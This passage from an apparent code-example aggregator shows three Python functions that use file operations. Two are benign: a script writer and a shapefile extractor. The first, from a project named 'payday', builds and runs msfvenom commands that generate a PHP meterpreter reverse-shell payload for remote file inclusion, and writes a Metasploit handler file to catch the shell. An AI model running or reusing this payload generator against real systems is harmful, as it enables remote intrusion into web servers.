                    self._fileop.set_executable_mode([outname])
            filenames.append(outname) 
Example 78
Project: payday   Author: lorentzenman   File: payday.py    GNU General Public License v2.0 4 votes vote down vote up
def php_payloads(ip, output_dir, payload_port):
	""" Creates PHP based raw shell and outputs as txt ready for RFI """
	payloads = []
	payloads.append(["php/meterpreter/reverse_tcp", payload_port, "raw" ,"pshell.txt"])
	# TODO : push out the payload generation to a dedicated function to remove the code duplication
	for parms in payloads:
		lhost = ip
		payload = parms[0]
		lport = str(parms[1])
		output_type = parms[2]
		ext = parms[3]
		base = output_dir
		venom_cmd = "msfvenom -p " + payload + " LHOST=" + ip + " LPORT=" + lport + " -f " + output_type + " -o " + base + ext
		print("[!] Generating : " + bluetxt(payload))
		os.system(venom_cmd)
		print("[!] Generating handler for : " + bluetxt(payload))
		# strip off ext and replace with .rc

		handler = ext.split(".")[0] + ".rc"
		handler_file = open(base + "handlers/" + handler , "w+")
		handler_file.write("use exploit/multi/handler\n")
		handler_file.write("set payload " + payload +"\n")
		handler_file.write("set LPORT 443\n")
		handler_file.write("set LHOST " + ip + "\n")
		handler_file.write("set ExitOnSession False\n")
		handler_file.write("exploit -j -z\n")
		handler_file.close()
		print("[!] Generated : " + yellowtxt(handler) + "\n\n")
	
	# close this file and then move to backup - crazy stuff to get around read/write/edit locks
	orig_file = str(base + ext)
	backup_file = orig_file + '.bak'
	os.rename(orig_file, backup_file)
	# now open this file and remove the comments in php so that the file works
	holding = open(backup_file, 'r')
	new_file = open(orig_file, 'w')
	lines = holding.readlines()
	for line in lines: 
		if line.startswith('/*<?php /**/'):
			line = line.replace('/*<?php /**/', '<?php')
			new_file.write(line)
		new_file.close()
	holding.close()
	os.remove(str(backup_file)) 
Example 79
Project: flasky   Author: RoseOu   File: scripts.py    MIT License 4 votes vote down vote up
def _write_script(self, names, shebang, script_bytes, filenames, ext):
        use_launcher = self.add_launchers and os.name == 'nt'
        linesep = os.linesep.encode('utf-8')
        if not use_launcher:
            script_bytes = shebang + linesep + script_bytes
        else:
            if ext == 'py':
                launcher = self._get_launcher('t')
            else:
                launcher = self._get_launcher('w')
            stream = BytesIO()
            with ZipFile(stream, 'w') as zf:
                zf.writestr('__main__.py', script_bytes)
            zip_data = stream.getvalue()
            script_bytes = launcher + shebang + linesep + zip_data
        for name in names:
            outname = os.path.join(self.target_dir, name)
            if use_launcher:
                n, e = os.path.splitext(outname)
                if e.startswith('.py'):
                    outname = n
                outname = '%s.exe' % outname
                try:
                    self._fileop.write_binary_file(outname, script_bytes)
                except Exception:
                    # Failed writing an executable - it might be in use.
                    logger.warning('Failed to write executable - trying to '
                                   'use .deleteme logic')
                    dfname = '%s.deleteme' % outname
                    if os.path.exists(dfname):
                        os.remove(dfname)       # Not allowed to fail here
                    os.rename(outname, dfname)  # nor here
                    self._fileop.write_binary_file(outname, script_bytes)
                    logger.debug('Able to replace executable using '
                                 '.deleteme logic')
                    try:
                        os.remove(dfname)
                    except Exception:
                        pass    # still in use - ignore error
            else:
                if os.name == 'nt' and not outname.endswith('.' + ext):
                    outname = '%s.%s' % (outname, ext)
                if os.path.exists(outname) and not self.clobber:
                    logger.warning('Skipping existing file %s', outname)
                    continue
                self._fileop.write_binary_file(outname, script_bytes)
                if self.set_mode:
                    self._fileop.set_executable_mode([outname])
            filenames.append(outname) 
Example 80
Project: core   Author: lifemapper   File: layer2.py    GNU General Public License v3.0 4 votes vote down vote up
def writeFromZippedShapefile(self, zipdata, isTemp=True, overwrite=False):
        """
        @summary: Write a shapefile from a zipped stream of shapefile files to
                     temporary files.  Read vector info into layer attributes, 
                     Reset dlocation. 
        @raise LMError: on failure to write file.
        """
        newfnamewoext = None
        outStream = StringIO()
        outStream.write(zipdata)
        outStream.seek(0)    
        z = zipfile.ZipFile(outStream, allowZip64=True)
        
        # Get filename, prepare directory, delete if overwrite=True
        if isTemp:
            zfnames = z.namelist()
            for zfname in zfnames:
                if zfname.endswith(LMFormat.SHAPE.ext):
                    pth, basefilename = os.path.split(zfname)
                    pth = UPLOAD_PATH
                    basename, dext = os.path.splitext(basefilename)
                    newfnamewoext = os.path.join(pth, basename)
                    outfname = os.path.join(UPLOAD_PATH, basefilename)
                    ready = self.readyFilename(outfname, overwrite=overwrite)
                    break
            if outfname is None:
                raise Exception('Invalid shapefile, zipped data does not contain .shp')
        else:
            if self._dlocation is None:
                self.setDLocation()
            outfname = self._dlocation
            if outfname is None:
                raise LMError('Must setDLocation prior to writing shapefile')
            pth, basefilename = os.path.split(outfname)
            basename, dext = os.path.splitext(basefilename)
            newfnamewoext = os.path.join(pth, basename)
            ready = self.readyFilename(outfname, overwrite=overwrite)
        
        if ready:
            # unzip zip file stream
            for zname in z.namelist():
                tmp, ext = os.path.splitext(zname)
                # Check file extension and only unzip valid files
                if ext in LMFormat.SHAPE.getExtensions():
                    newname = newfnamewoext + ext
                    success, msg = self.deleteFile(newname)
                    z.extract(zname, pth)
                    if not isTemp:
                        oldname = os.path.join(pth, zname)
                        os.rename(oldname, newname)
            # Reset dlocation on successful write
            self.clearDLocation()
            self.setDLocation(outfname)
        else:
            raise LMError(currargs='{} exists, overwrite = False'.format(outfname))
                
# ...............................................